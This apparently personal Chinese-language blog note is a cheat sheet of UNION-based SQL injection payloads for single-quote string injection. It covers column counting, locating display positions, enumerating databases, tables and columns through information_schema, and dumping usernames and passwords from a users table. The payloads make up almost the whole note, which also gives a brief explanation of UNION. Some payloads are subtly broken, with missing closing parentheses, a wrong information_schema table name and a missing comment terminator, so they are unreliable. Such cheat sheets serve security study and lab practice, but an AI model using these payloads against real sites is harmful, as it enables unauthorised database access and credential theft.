小艾的自留地

Stay foolish, Stay hungry

这篇笔记的目的是整理各种 SQL 注入使用时的payload

说明:以下的payloads都基于单引号字符型注入。若是整型注入则把单引号和注释符(–+)去掉,若是双引号注入则把单引号换成双引号。

也就是基于这样一种情况:

1
SELECT * FROM Student WHERE id = '1';

Payload

  1. 判断当前数据表中有几列:
1
?id=1' order by 数值 --+
  1. 查看显示位在第几列:
1
?id=-1' union select 1,2,3 --+

注意:这里需要传递一个不存在的条件,比如:id=-1

  1. 显示当前数据库(假设显示位中包含第三位):
1
?id=-1' union select 1,2,database() --+
  1. 查看当前数据库中的所有表:
1
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

函数group_concat()把所有结果都在一行输出

  1. 查询所有数据库:
1
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schema) --+
  1. 查询某个数据库中的表:
1
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security' --+
  1. 查询某个表中的所有字段:

    1
    ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
  2. 查询某个表中的字段内容

    1
    ?id=-1' union select 1,2,(select group_concat(name, 0x3a, passwd) from security.users)

    0x3a会被转义位冒号

Union

SQL UNION 操作符合并两个或多个 SELECT 语句的结果,需要注意的是:UNION 内部的每个 SELECT 语句必须拥有相同数量的列。

参考链接

Web安全学习之数据库注入语句的收集和学习

评论